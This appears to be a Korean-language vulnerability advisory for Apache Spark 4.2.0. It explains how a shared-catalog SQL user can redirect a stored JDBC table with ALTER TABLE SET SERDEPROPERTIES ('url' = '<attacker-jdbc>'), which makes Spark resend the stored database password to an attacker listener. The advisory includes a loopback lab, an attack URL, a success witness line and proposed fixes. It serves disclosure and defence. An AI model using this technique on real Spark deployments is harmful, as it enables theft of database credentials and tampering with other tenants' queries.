
Apache Spark 4.2.0 - 높음 - 원격 - JDBC URL 주입 - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
분석 문서: https://abraxaslabs.tech/research/spark-jdbc-serde-url
분류: JDBC URL 주입 도달 범위: 원격
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710은 스캔 시점의 추가 옵션이 저장된 JDBC url을 덮어쓰지 못하도록 막았습니다. 그러나 ALTER TABLE SET SERDEPROPERTIES는 여전히 storage.properties에 병합되며, 이것이 바로 JDBC 스캔 옵션 맵입니다. 저장된 user / password는 Spark JDBC 옵션 이름이 아니므로, 새 URL로 그대로 전달됩니다.
공유 카탈로그의 SQL 사용자가 운영자가 프로비저닝한 USING jdbc 테이블의 대상 URL을 바꾸고, 저장된 데이터베이스 비밀번호를 자신이 선택한 호스트로 재전송할 수 있습니다.
| ID | 아직 CVE 없음 |
| 분류 | JDBC URL 주입 / 저장된 자격 증명 재사용 (SPARK-31710의 잔여 문제) |
| 도달 범위 | 원격 (공유 카탈로그상의 Connect 또는 Hive Thrift SQL) |
| CWE | CWE-15, CWE-522 |
| CVSS | 높음: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| 제품 | Apache Spark |
| 영향 받는 버전 | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC 테이블 |
| 인증 | 공유 카탈로그 SQL 사용자 (작업 제출 jar 아님) |
| 라이선스 | GNU Affero GPL v3.0 |
| 랩 | 127.0.0.1:18960 전용 |
저장된 자격 증명이 있는 영구 USING jdbc 테이블이 이미 존재하는 공유 externalCatalog상의 Connect gRPC SQL 세션 또는 Hive Thrift SQL 세션입니다. 작업 제출자가 아니며, 원래 URL을 지정한 세션도 아닙니다.
| 방법 | 싱크 | 권한 |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') 후 REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties 후 JDBC Driver.connect(url, properties) | 무결성: 프로비저닝된 테이블을 공격자 리스너로 재지정. 랩에서 입증됨 (connect=yes). 기밀성: PostgreSQL 시작 및 평문 인증에서 저장된 DB user / password 재전송. 랩에서 입증됨 (user-replay=true password-replay=true). SHOW CREATE를 통한 비밀 정보 정찰은 차단됨 (마스킹 처리). |
동일한 영속화 후 다른 테넌트의 t에 대한 SELECT | 공유 카탈로그 행 | 무결성, 추정: t에 대한 다른 세션의 쿼리가 이제 새 URL로 향함 (잘못된 DB, 공격자가 제어하는 행). 가용성, 추정: 관리자가 serde를 재설정할 때까지 원래 DB에 접근 불가. DoS 기준 미달. |
추가 serde 키 (sessionInitStatement, prepareQuery, driver) | 잔여 user / password에 대한 스캔 옵션 | 무결성, 추정: 추가 문 또는 클래스패스 Driver 무인자 생성자. 기본 클래스패스 가젯 없이 RCE로 확대 해석하지 말 것. 검증되지 않음. |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties만 | 이번 분석에서는 차단됨. 랩에서 입증됨 (storage url 변경 없음, 오라클 미적중). |
스캔 시점 추가 옵션 url 충돌 | SPARK-31710 generateDatasourceOptions | 차단됨. 랩에서 입증됨 (extra-options-clash 거부됨). |
동일 세션이 지정한 spark.read.format("jdbc").option("url", ...) | 의도된 데이터 플레인 | 제외. 소유자가 제어하는 URL은 이 잔여 문제가 아님. |
데이터소스 테이블에 대한 SET SERDE '<class>' | 클래스 이름 | 차단됨 (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). 검증되지 않음. |
인접한 닫힌 영역: 세션 이름이 붙은 JDBC / 파일 경로. spark.sql.legacy.extraOptionsBehavior 충돌 검사. OSS Spark에는 Unity의 externalOptionsAllowList가 없다. CREATE TABLE URL은 소유자가 제어한다(이 잔여물이 아님). JDBC URL 로그 마스킹은 무조건 적용된다. 파일 테이블의 path는 locationUri에 있다. JDBCTableCatalog 연결은 세션 카탈로그 conf에서 온다(URL을 선택하는 것과 동일한 데이터 플레인). 공유 카탈로그가 없는 단일 사용자 pyspark는 모델 밖이다.
나는 master도, 4.3 RC도 아닌 Spark 4.2.0을 고정했다. 열린 클러스터에서의 잡 제출은 설계상 그렇다. 흥미로운 잔여물은 명명된 수정 사항 옆에 있다. SPARK-31710 / generateDatasourceOptions는 기존 serde 키에 대해 스캔 시점의 다른 url을 거부한다. SET TBLPROPERTIES는 table.properties만 기록한다. Datasource 테이블은 여전히 SET SERDEPROPERTIES를 허용하고 storage.properties로 병합한다(++, 뒤의 키가 우선). user와 password는 jdbcOptionNames에 절대 들어가지 않으므로, asConnectionProperties가 이들을 Driver.connect에 넘긴다.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE는 password를 마스킹 처리한다. SQL 사용자는 시크릿을 다시 읽을 수 없다. 그래도 그 시크릿을 그대로 이용할 수는 있다.
이미 기록된 잘못된 접근: CREATE TABLE url을 버그로 취급한 것; extra-options 충돌을 다시 제기한 것; SET TBLPROPERTIES가 스토리지를 이동시킬 것이라 기대한 것; SHOW CREATE가 password를 유출한다고 주장한 것; 인용된 Scala가 gadget인데도 전체 클러스터를 실행한 것; 리버스 셸. 오라클은 PostgreSQL 시작과 루프백에서의 평문 인증이다.
cd lab
./run.sh
루프백 127.0.0.1:18960은 PostgreSQL 프로토콜 리스너입니다. HTTP 헬스는 127.0.0.1:18961입니다. gadget 컨테이너는 Temurin 21과 libpostgresql-jdbc-java입니다. 저장된 URL은 jdbc:postgresql://127.0.0.1:1/provisioned(연결 거부)입니다. 공격 URL은 jdbc:postgresql://oracle:18960/stolen입니다. 저장된 사용자는 spark_jdbc입니다. 저장된 비밀번호는 stored-secret-SPARK-JDBC-SERDE-URL입니다. 루프백에 바인딩하세요.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
저장된 JDBC url / user / password와 충돌하는 SET SERDEPROPERTIES 키를 거부합니다. 이는 generateDatasourceOptions가 스캔 시점의 추가 옵션에 대해 이미 수행하는 것과 동일한 검사입니다. 또는 url이 변경될 때 저장된 user / password를 삭제합니다. 또는 데이터소스 JDBC serde를 스토리지가 아닌 테이블 속성으로 취급합니다. 그때까지는 비밀번호를 저장하는 영구 USING jdbc 테이블에 대해 신뢰할 수 없는 SQL ALTER TABLE 권한을 부여하지 마십시오.
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala